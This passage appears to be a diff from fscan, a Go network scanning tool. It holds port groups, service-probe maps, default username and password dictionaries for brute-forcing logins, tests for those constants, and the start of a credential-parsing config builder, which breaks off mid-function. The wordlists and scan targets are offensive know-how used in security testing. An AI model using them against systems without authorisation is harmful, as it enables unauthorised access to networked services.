// 端口组常量 - 从common/constants.go迁移
|
||||
// =============================================================================
|
||||
|
||||
// 预定义端口组 - 字符串格式,用于命令行参数默认值
|
||||
var (
|
||||
// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印 (Issue #517)
|
||||
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
|
||||
|
||||
// MainPorts 主要扫描端口 (约150个)
|
||||
// 包含: 基础服务、远程管理、数据库、消息队列、Web中间件、容器云、监控、安全设备等
|
||||
MainPorts = "" +
|
||||
// 基础服务 (21-995)
|
||||
"21,22,23,25,53,80,81,88,110,111,135,139,143,161,389,443,445,465,502,512,513,514,515,548,554,587,623,636,873,902,993,995," +
|
||||
// 代理/隧道 (1080-1883)
|
||||
"1080,1099,1194,1433,1434,1521,1522,1525,1723,1883," +
|
||||
// 远程/数据库 (2049-3690)
|
||||
"2049,2121,2181,2200,2222,2375,2376,2379,2380,3000,3128,3268,3269,3306,3389,3690," +
|
||||
// Java/中间件 (4369-5986)
|
||||
"4369,4444,4848,5000,5005,5044,5060,5432,5601,5631,5632,5671,5672,5900,5984,5985,5986," +
|
||||
// 缓存/数据库 (6000-6667)
|
||||
"6000,6379,6380,6443,6666,6667," +
|
||||
// Web/中间件 (7001-9999)
|
||||
// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印
|
||||
"7001,7002,7474,7687,8000,8005,8008,8009,8080,8081,8086,8088,8089,8090,8161,8180,8443,8500,8834,8848,8880,8883,8888,9000,9001,9042,9080,9090,9092,9093,9160,9200,9300,9418,9443,9999," +
|
||||
// 管理/监控 (10000-11211)
|
||||
"10000,10051,10250,10255,11211," +
|
||||
// 消息队列/集群 (15672-27018)
|
||||
"15672,22222,26379,27017,27018," +
|
||||
// Hadoop/大数据 (50000-61616)
|
||||
"50000,50070,50075,61613,61614,61616"
|
||||
|
||||
// DbPorts 数据库端口
|
||||
DbPorts = "1433,1521,3306,5432,5672,5984,6379,7687,8086,9042,9093,9160,9200,11211,26379,27017,27018,61616"
|
||||
|
||||
// ServicePorts 服务端口
|
||||
ServicePorts = "21,22,23,25,53,110,111,135,139,143,161,389,445,465,502,512,513,514,587,623,636,873,993,995,1433,1521,1883,2049,2181,2222,3306,3389,5432,5672,5671,5900,5985,5986,6379,8161,8443,8883,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
|
||||
|
||||
// CommonPorts 常用端口
|
||||
CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986"
|
||||
|
||||
// AllPorts 全端口
|
||||
AllPorts = "1-65535"
|
||||
)
|
||||
|
||||
// GetPortGroups 获取端口组映射 - 用于解析器
|
||||
func GetPortGroups() map[string]string {
|
||||
return map[string]string{
|
||||
"web": WebPorts,
|
||||
"main": MainPorts,
|
||||
"db": DbPorts,
|
||||
"service": ServicePorts,
|
||||
"common": CommonPorts,
|
||||
"all": AllPorts,
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 服务探测配置
|
||||
// =============================================================================
|
||||
|
||||
// DefaultProbeMap 默认探测器列表
|
||||
var DefaultProbeMap = []string{
|
||||
"GenericLines",
|
||||
"GetRequest",
|
||||
"TLSSessionReq",
|
||||
"SSLSessionReq",
|
||||
"ms-sql-s",
|
||||
"JavaRMI",
|
||||
"LDAPSearchReq",
|
||||
"LDAPBindReq",
|
||||
"oracle-tns",
|
||||
"Socks5",
|
||||
}
|
||||
|
||||
// DefaultPortMap 默认端口映射关系
|
||||
var DefaultPortMap = map[int][]string{
|
||||
1: {"GetRequest", "Help"},
|
||||
7: {"Help"},
|
||||
21: {"GenericLines", "Help"},
|
||||
23: {"GenericLines", "tn3270"},
|
||||
25: {"Hello", "Help"},
|
||||
35: {"GenericLines"},
|
||||
42: {"SMBProgNeg"},
|
||||
43: {"GenericLines"},
|
||||
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||
70: {"GetRequest"},
|
||||
79: {"GenericLines", "GetRequest", "Help"},
|
||||
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
|
||||
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
|
||||
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
|
||||
98: {"GenericLines"},
|
||||
110: {"GenericLines"},
|
||||
111: {"RPCCheck"},
|
||||
113: {"GenericLines", "GetRequest", "Help"},
|
||||
119: {"GenericLines", "Help"},
|
||||
130: {"NotesRPC"},
|
||||
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
|
||||
139: {"GetRequest", "SMBProgNeg"},
|
||||
143: {"GetRequest"},
|
||||
175: {"NJE"},
|
||||
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
|
||||
214: {"GenericLines"},
|
||||
264: {"GenericLines"},
|
||||
311: {"LDAPSearchReq"},
|
||||
340: {"GenericLines"},
|
||||
389: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||
444: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||
445: {"SMBProgNeg"},
|
||||
465: {"SSLSessionReq", "TLSSessionReq", "Hello", "Help", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||
502: {"GenericLines"},
|
||||
503: {"GenericLines"},
|
||||
513: {"GenericLines"},
|
||||
514: {"GenericLines"},
|
||||
515: {"LPDString"},
|
||||
544: {"GenericLines"},
|
||||
548: {"afp"},
|
||||
554: {"GetRequest"},
|
||||
563: {"GenericLines"},
|
||||
587: {"Hello", "Help"},
|
||||
631: {"GetRequest", "HTTPOptions"},
|
||||
636: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
|
||||
646: {"LDAPSearchReq", "RPCCheck"},
|
||||
691: {"GenericLines"},
|
||||
873: {"GenericLines"},
|
||||
898: {"GetRequest"},
|
||||
993: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
|
||||
995: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
|
||||
1080: {"GenericLines", "Socks5", "Socks4"},
|
||||
1099: {"JavaRMI"},
|
||||
1234: {"SqueezeCenter_CLI"},
|
||||
1311: {"GenericLines"},
|
||||
1352: {"oracle-tns"},
|
||||
1414: {"ibm-mqseries"},
|
||||
1433: {"ms-sql-s"},
|
||||
1521: {"oracle-tns"},
|
||||
1723: {"GenericLines"},
|
||||
1883: {"mqtt"},
|
||||
1911: {"oracle-tns"},
|
||||
2000: {"GenericLines", "oracle-tns"},
|
||||
2049: {"RPCCheck"},
|
||||
2121: {"GenericLines", "Help"},
|
||||
2181: {"GenericLines"},
|
||||
2222: {"GetRequest", "GenericLines", "HTTPOptions", "Help", "SSH", "TerminalServerCookie"},
|
||||
2375: {"docker", "GetRequest", "HTTPOptions"},
|
||||
2376: {"TLSSessionReq", "SSLSessionReq", "docker", "GetRequest", "HTTPOptions"},
|
||||
2484: {"oracle-tns"},
|
||||
2628: {"dominoconsole"},
|
||||
3000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
3268: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
3269: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
|
||||
3306: {"GenericLines", "GetRequest", "HTTPOptions"},
|
||||
3389: {"TerminalServerCookie", "TerminalServer"},
|
||||
3690: {"GenericLines"},
|
||||
4000: {"GenericLines"},
|
||||
4369: {"epmd"},
|
||||
4444: {"GenericLines"},
|
||||
4840: {"GenericLines"},
|
||||
5000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
5050: {"GenericLines"},
|
||||
5060: {"SIPOptions"},
|
||||
5222: {"GenericLines"},
|
||||
5432: {"GenericLines"},
|
||||
5555: {"GenericLines"},
|
||||
5560: {"GenericLines", "oracle-tns"},
|
||||
5631: {"GenericLines", "PCWorkstation"},
|
||||
5672: {"GenericLines"},
|
||||
5984: {"GetRequest", "HTTPOptions"},
|
||||
6000: {"X11Probe"},
|
||||
6379: {"redis-server"},
|
||||
6432: {"GenericLines"},
|
||||
6667: {"GenericLines"},
|
||||
7000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
7001: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
7002: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
7070: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
7443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
|
||||
7777: {"GenericLines", "oracle-tns"},
|
||||
8000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "iperf3"},
|
||||
8005: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8008: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8009: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "ajp"},
|
||||
8080: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8081: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8089: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8090: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
|
||||
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
9000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
9042: {"GenericLines"},
|
||||
9092: {"GenericLines", "kafka"},
|
||||
9200: {"GetRequest", "HTTPOptions", "elasticsearch"},
|
||||
9300: {"GenericLines"},
|
||||
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "adbConnect"},
|
||||
10000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
10051: {"GenericLines"},
|
||||
11211: {"Memcache"},
|
||||
15672: {"GetRequest", "HTTPOptions"},
|
||||
27017: {"mongodb"},
|
||||
27018: {"mongodb"},
|
||||
50070: {"GetRequest", "HTTPOptions"},
|
||||
61616: {"GenericLines"},
|
||||
}
|
||||
|
||||
// DefaultUserDict 默认服务用户字典
|
||||
var DefaultUserDict = map[string][]string{
|
||||
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
||||
"mysql": {"root", "mysql"},
|
||||
"mssql": {"sa", "sql"},
|
||||
"smb": {"administrator", "admin", "guest"},
|
||||
"rdp": {"administrator", "admin", "guest"},
|
||||
"postgresql": {"postgres", "admin"},
|
||||
"ssh": {"root", "admin"},
|
||||
"mongodb": {"root", "admin"},
|
||||
"redis": {""},
|
||||
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
|
||||
"telnet": {"root", "admin", "test"},
|
||||
"elastic": {"elastic", "admin", "kibana"},
|
||||
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
|
||||
"kafka": {"admin", "kafka", "root", "test"},
|
||||
"activemq": {"admin", "root", "activemq", "system", "user"},
|
||||
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
|
||||
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
|
||||
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
|
||||
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
|
||||
"zabbix": {"Admin", "admin", "guest", "user"},
|
||||
"rsync": {"root", "admin", "backup"},
|
||||
"cassandra": {"cassandra", "admin", "root", "system"},
|
||||
"neo4j": {"neo4j", "admin", "root", "test"},
|
||||
}
|
||||
|
||||
// DefaultPasswords 默认密码字典
|
||||
var DefaultPasswords = []string{
|
||||
"123456", "admin", "admin123", "root", "", "pass123", "pass@123",
|
||||
"password", "Password", "P@ssword123", "123123", "654321", "111111",
|
||||
"123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}",
|
||||
"{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123",
|
||||
"{user}#123", "{user}@111", "{user}@2019", "{user}@123#4",
|
||||
"P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test",
|
||||
"test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666",
|
||||
"a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888",
|
||||
"!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111",
|
||||
"a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123",
|
||||
"Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ",
|
||||
"2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456",
|
||||
"1q2w3e", "Charge123", "Aa123456789", "redis", "elastic123",
|
||||
}
|
||||
@@ -0,0 +1,393 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
/*
|
||||
constants_test.go - 配置常量测试
|
||||
|
||||
测试目标:端口组、探测器配置、字典数据
|
||||
价值:配置错误会导致:
|
||||
- 端口组错误 → 扫描范围错误(用户遗漏目标)
|
||||
- 字典错误 → 暴力破解失败(无法登录系统)
|
||||
- 探测器配置错误 → 服务识别失败
|
||||
|
||||
"配置是数据,但数据也会有bug。端口范围错误、字典重复、
|
||||
空值遗漏——这些都是真实问题。测试数据和测试代码一样重要。"
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 端口组测试
|
||||
// =============================================================================
|
||||
|
||||
// TestPortGroups_Format 测试端口组格式
|
||||
//
|
||||
// 验证:所有端口组字符串格式正确(可解析为端口列表)
|
||||
func TestPortGroups_Format(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
portGroup string
|
||||
}{
|
||||
{"WebPorts", WebPorts},
|
||||
{"MainPorts", MainPorts},
|
||||
{"DbPorts", DbPorts},
|
||||
{"ServicePorts", ServicePorts},
|
||||
{"CommonPorts", CommonPorts},
|
||||
{"AllPorts", AllPorts},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
// 验证格式:逗号分隔的数字或范围
|
||||
if tt.portGroup == "" {
|
||||
t.Error("端口组不应为空")
|
||||
return
|
||||
}
|
||||
|
||||
// AllPorts是特殊格式"1-65535"
|
||||
if tt.portGroup == "1-65535" {
|
||||
t.Logf("✓ %s 格式正确(范围格式)", tt.name)
|
||||
return
|
||||
}
|
||||
|
||||
// 其他端口组应该是逗号分隔的数字
|
||||
ports := strings.Split(tt.portGroup, ",")
|
||||
if len(ports) == 0 {
|
||||
t.Error("端口组应该包含至少一个端口")
|
||||
return
|
||||
}
|
||||
|
||||
// 验证每个端口都是有效数字
|
||||
for i, portStr := range ports {
|
||||
port, err := strconv.Atoi(strings.TrimSpace(portStr))
|
||||
if err != nil {
|
||||
t.Errorf("第%d个端口 '%s' 不是有效数字: %v", i+1, portStr, err)
|
||||
continue
|
||||
}
|
||||
|
||||
// 验证端口范围
|
||||
if port < 1 || port > 65535 {
|
||||
t.Errorf("第%d个端口 %d 超出有效范围 [1-65535]", i+1, port)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 格式正确(%d个端口)", tt.name, len(ports))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestPortGroups_NoEmpty 测试端口组非空
|
||||
func TestPortGroups_NoEmpty(t *testing.T) {
|
||||
groups := map[string]string{
|
||||
"WebPorts": WebPorts,
|
||||
"MainPorts": MainPorts,
|
||||
"DbPorts": DbPorts,
|
||||
"ServicePorts": ServicePorts,
|
||||
"CommonPorts": CommonPorts,
|
||||
"AllPorts": AllPorts,
|
||||
}
|
||||
|
||||
for name, ports := range groups {
|
||||
if ports == "" {
|
||||
t.Errorf("%s 不应为空字符串", name)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ 所有端口组非空")
|
||||
}
|
||||
|
||||
// TestPortGroups_NoDuplicates 测试端口组无重复
|
||||
func TestPortGroups_NoDuplicates(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
portGroup string
|
||||
}{
|
||||
{"WebPorts", WebPorts},
|
||||
{"MainPorts", MainPorts},
|
||||
{"DbPorts", DbPorts},
|
||||
{"ServicePorts", ServicePorts},
|
||||
{"CommonPorts", CommonPorts},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if tt.portGroup == "1-65535" {
|
||||
t.Skip("范围格式无需检查重复")
|
||||
return
|
||||
}
|
||||
|
||||
ports := strings.Split(tt.portGroup, ",")
|
||||
seen := make(map[string]bool)
|
||||
duplicates := []string{}
|
||||
|
||||
for _, port := range ports {
|
||||
port = strings.TrimSpace(port)
|
||||
if seen[port] {
|
||||
duplicates = append(duplicates, port)
|
||||
}
|
||||
seen[port] = true
|
||||
}
|
||||
|
||||
if len(duplicates) > 0 {
|
||||
t.Errorf("%s 包含重复端口: %v", tt.name, duplicates)
|
||||
} else {
|
||||
t.Logf("✓ %s 无重复端口", tt.name)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestGetPortGroups_Completeness 测试GetPortGroups完整性
|
||||
//
|
||||
// 验证:返回的map包含所有预定义的端口组
|
||||
func TestGetPortGroups_Completeness(t *testing.T) {
|
||||
groups := GetPortGroups()
|
||||
|
||||
expectedKeys := []string{"web", "main", "db", "service", "common", "all"}
|
||||
for _, key := range expectedKeys {
|
||||
if _, ok := groups[key]; !ok {
|
||||
t.Errorf("GetPortGroups缺少键: %s", key)
|
||||
}
|
||||
}
|
||||
|
||||
if len(groups) != len(expectedKeys) {
|
||||
t.Errorf("GetPortGroups返回%d个组,期望%d个", len(groups), len(expectedKeys))
|
||||
}
|
||||
|
||||
t.Logf("✓ GetPortGroups包含所有%d个端口组", len(expectedKeys))
|
||||
}
|
||||
|
||||
// TestGetPortGroups_Values 测试GetPortGroups返回正确的值
|
||||
func TestGetPortGroups_Values(t *testing.T) {
|
||||
groups := GetPortGroups()
|
||||
|
||||
tests := []struct {
|
||||
key string
|
||||
expected string
|
||||
}{
|
||||
{"web", WebPorts},
|
||||
{"main", MainPorts},
|
||||
{"db", DbPorts},
|
||||
{"service", ServicePorts},
|
||||
{"common", CommonPorts},
|
||||
{"all", AllPorts},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.key, func(t *testing.T) {
|
||||
actual, ok := groups[tt.key]
|
||||
if !ok {
|
||||
t.Fatalf("GetPortGroups缺少键: %s", tt.key)
|
||||
}
|
||||
|
||||
if actual != tt.expected {
|
||||
t.Errorf("GetPortGroups[%s] 值不匹配\n期望前20字符: %s...\n实际前20字符: %s...",
|
||||
tt.key, tt.expected[:20], actual[:20])
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 映射正确", tt.key)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 探测器配置测试
|
||||
// =============================================================================
|
||||
|
||||
// TestDefaultProbeMap_NoEmpty 测试默认探测器列表非空
|
||||
func TestDefaultProbeMap_NoEmpty(t *testing.T) {
|
||||
if len(DefaultProbeMap) == 0 {
|
||||
t.Error("DefaultProbeMap不应为空")
|
||||
return
|
||||
}
|
||||
|
||||
// 验证每个探测器名称非空
|
||||
for i, probe := range DefaultProbeMap {
|
||||
if probe == "" {
|
||||
t.Errorf("第%d个探测器名称为空", i+1)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultProbeMap包含%d个探测器", len(DefaultProbeMap))
|
||||
}
|
||||
|
||||
// TestDefaultPortMap_ValidKeys 测试DefaultPortMap的键有效
|
||||
func TestDefaultPortMap_ValidKeys(t *testing.T) {
|
||||
invalidPorts := []int{}
|
||||
|
||||
for port := range DefaultPortMap {
|
||||
if port < 1 || port > 65535 {
|
||||
invalidPorts = append(invalidPorts, port)
|
||||
}
|
||||
}
|
||||
|
||||
if len(invalidPorts) > 0 {
|
||||
t.Errorf("DefaultPortMap包含无效端口号: %v", invalidPorts)
|
||||
} else {
|
||||
t.Logf("✓ DefaultPortMap的%d个端口号都有效", len(DefaultPortMap))
|
||||
}
|
||||
}
|
||||
|
||||
// TestDefaultPortMap_NoEmptyValues 测试DefaultPortMap值非空
|
||||
func TestDefaultPortMap_NoEmptyValues(t *testing.T) {
|
||||
emptyPorts := []int{}
|
||||
|
||||
for port, probes := range DefaultPortMap {
|
||||
if len(probes) == 0 {
|
||||
emptyPorts = append(emptyPorts, port)
|
||||
}
|
||||
}
|
||||
|
||||
if len(emptyPorts) > 0 {
|
||||
t.Errorf("以下端口的探测器列表为空: %v", emptyPorts)
|
||||
} else {
|
||||
t.Logf("✓ DefaultPortMap所有端口都有探测器")
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 字典数据测试
|
||||
// =============================================================================
|
||||
|
||||
// TestDefaultUserDict_NoEmptyKeys 测试DefaultUserDict键非空
|
||||
func TestDefaultUserDict_NoEmptyKeys(t *testing.T) {
|
||||
for service, users := range DefaultUserDict {
|
||||
if service == "" {
|
||||
t.Error("DefaultUserDict包含空服务名")
|
||||
}
|
||||
|
||||
if len(users) == 0 {
|
||||
t.Errorf("服务 '%s' 的用户列表为空", service)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultUserDict包含%d个服务", len(DefaultUserDict))
|
||||
}
|
||||
|
||||
// TestDefaultUserDict_CommonServices 测试DefaultUserDict包含常见服务
|
||||
func TestDefaultUserDict_CommonServices(t *testing.T) {
|
||||
commonServices := []string{"ftp", "mysql", "mssql", "ssh", "redis", "mongodb"}
|
||||
|
||||
for _, service := range commonServices {
|
||||
if _, ok := DefaultUserDict[service]; !ok {
|
||||
t.Errorf("DefaultUserDict缺少常见服务: %s", service)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultUserDict包含所有常见服务")
|
||||
}
|
||||
|
||||
// TestDefaultUserDict_AllowsEmptyUser 测试DefaultUserDict允许空用户名
|
||||
//
|
||||
// 验证:某些服务(如redis)允许空用户名
|
||||
func TestDefaultUserDict_AllowsEmptyUser(t *testing.T) {
|
||||
// redis服务应该包含空用户名
|
||||
redisUsers, ok := DefaultUserDict["redis"]
|
||||
if !ok {
|
||||
t.Skip("DefaultUserDict不包含redis,跳过测试")
|
||||
return
|
||||
}
|
||||
|
||||
hasEmptyUser := false
|
||||
for _, user := range redisUsers {
|
||||
if user == "" {
|
||||
hasEmptyUser = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !hasEmptyUser {
|
||||
t.Error("redis用户列表应该包含空用户名(默认无认证)")
|
||||
} else {
|
||||
t.Logf("✓ redis用户列表正确包含空用户名")
|
||||
}
|
||||
}
|
||||
|
||||
// TestDefaultPasswords_NoEmpty 测试DefaultPasswords非空
|
||||
func TestDefaultPasswords_NoEmpty(t *testing.T) {
|
||||
if len(DefaultPasswords) == 0 {
|
||||
t.Error("DefaultPasswords不应为空")
|
||||
return
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultPasswords包含%d个密码", len(DefaultPasswords))
|
||||
}
|
||||
|
||||
// TestDefaultPasswords_AllowsEmptyPassword 测试DefaultPasswords允许空密码
|
||||
func TestDefaultPasswords_AllowsEmptyPassword(t *testing.T) {
|
||||
// 应该包含空密码(某些服务默认无密码)
|
||||
hasEmptyPassword := false
|
||||
for _, pass := range DefaultPasswords {
|
||||
if pass == "" {
|
||||
hasEmptyPassword = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !hasEmptyPassword {
|
||||
t.Error("DefaultPasswords应该包含空密码(某些服务默认无密码)")
|
||||
} else {
|
||||
t.Logf("✓ DefaultPasswords正确包含空密码")
|
||||
}
|
||||
}
|
||||
|
||||
// TestDefaultPasswords_HasPlaceholder 测试DefaultPasswords包含占位符
|
||||
func TestDefaultPasswords_HasPlaceholder(t *testing.T) {
|
||||
// 应该包含{user}占位符(密码=用户名的场景)
|
||||
hasPlaceholder := false
|
||||
for _, pass := range DefaultPasswords {
|
||||
if strings.Contains(pass, "{user}") {
|
||||
hasPlaceholder = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !hasPlaceholder {
|
||||
t.Error("DefaultPasswords应该包含{user}占位符(密码=用户名变体)")
|
||||
} else {
|
||||
t.Logf("✓ DefaultPasswords正确包含{user}占位符")
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 结构体测试
|
||||
// =============================================================================
|
||||
|
||||
// TestPocInfo_Fields 测试PocInfo结构体字段
|
||||
func TestPocInfo_Fields(t *testing.T) {
|
||||
poc := PocInfo{
|
||||
Target: "http://example.com",
|
||||
PocName: "test-poc",
|
||||
}
|
||||
|
||||
if poc.Target != "http://example.com" {
|
||||
t.Error("PocInfo.Target赋值失败")
|
||||
}
|
||||
|
||||
if poc.PocName != "test-poc" {
|
||||
t.Error("PocInfo.PocName赋值失败")
|
||||
}
|
||||
|
||||
t.Logf("✓ PocInfo结构体正常工作")
|
||||
}
|
||||
|
||||
// TestCredentialPair_Fields 测试CredentialPair结构体字段
|
||||
func TestCredentialPair_Fields(t *testing.T) {
|
||||
cred := CredentialPair{
|
||||
Username: "admin",
|
||||
Password: "password123",
|
||||
}
|
||||
|
||||
if cred.Username != "admin" {
|
||||
t.Error("CredentialPair.Username赋值失败")
|
||||
}
|
||||
|
||||
if cred.Password != "password123" {
|
||||
t.Error("CredentialPair.Password赋值失败")
|
||||
}
|
||||
|
||||
t.Logf("✓ CredentialPair结构体正常工作")
|
||||
}
|
||||
@@ -0,0 +1,340 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/common/parsers"
|
||||
)
|
||||
|
||||
/*
|
||||
config_builder.go - 统一配置构建入口
|
||||
|
||||
从 FlagVars 直接构建 Config 和 State,消除中间层。
|
||||
*/
|
||||
|
||||
// BuildConfig 从 FlagVars 构建完整的 Config 和 State
|
||||
// 这是新的统一入口,替代原来的 Parse() + BuildConfigFromFlags() + updateGlobalVariables()
|
||||
func BuildConfig(fv *FlagVars, info *HostInfo) (*Config, *State, error) {
|
||||
// 1. 构建基础 Config(从 flag_config.go 的 BuildConfigFromFlags)
|
||||
cfg := BuildConfigFromFlags(fv)
|
||||
|
||||
// 2. 创建 State
|
||||
state := NewState()
|
||||
|
||||
// 3. 解析凭据
|
||||
if err := parseCredentials(fv, cfg); err != nil {
|
||||
return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_credentials_parse_failed"), err)
|
||||
}
|
||||
|
||||
// 4. 解析目标(主机、端口、URL)
|
||||
if err := parseTargets(fv, info, cfg, state); err != nil {
|
||||
return nil, nil, fmt.Errorf("%s: %w", i18n.GetText("config_targets_parse_failed"), err)
|
||||
}
|
||||
|
||||
// 5. 应用日志级别
|
||||
applyLogLevelFromConfig(fv)
|
||||
|
||||
return cfg, state, nil
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 凭据解析
|
||||
// =============================================================================
|
||||
|
||||
func parseCredentials(fv *FlagVars, cfg *Config) error {
|
||||
// 解析用户名
|
||||
usernames, err := parseUsernames(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(usernames) > 0 {
|
||||
for serviceName := range cfg.Credentials.Userdict {
|
||||
cfg.Credentials.Userdict[serviceName] = usernames
|
||||
}
|
||||
}
|
||||
|
||||
// 解析密码
|
||||
passwords, err := parsePasswords(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(passwords) > 0 {
|
||||
cfg.Credentials.Passwords = passwords
|
||||
}
|
||||
|
||||
// 解析用户密码对
|
||||
pairs, err := parseUserPassPairs(fv)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(pairs) > 0 {
|
||||
cfg.Credentials.UserPassPairs = pairs
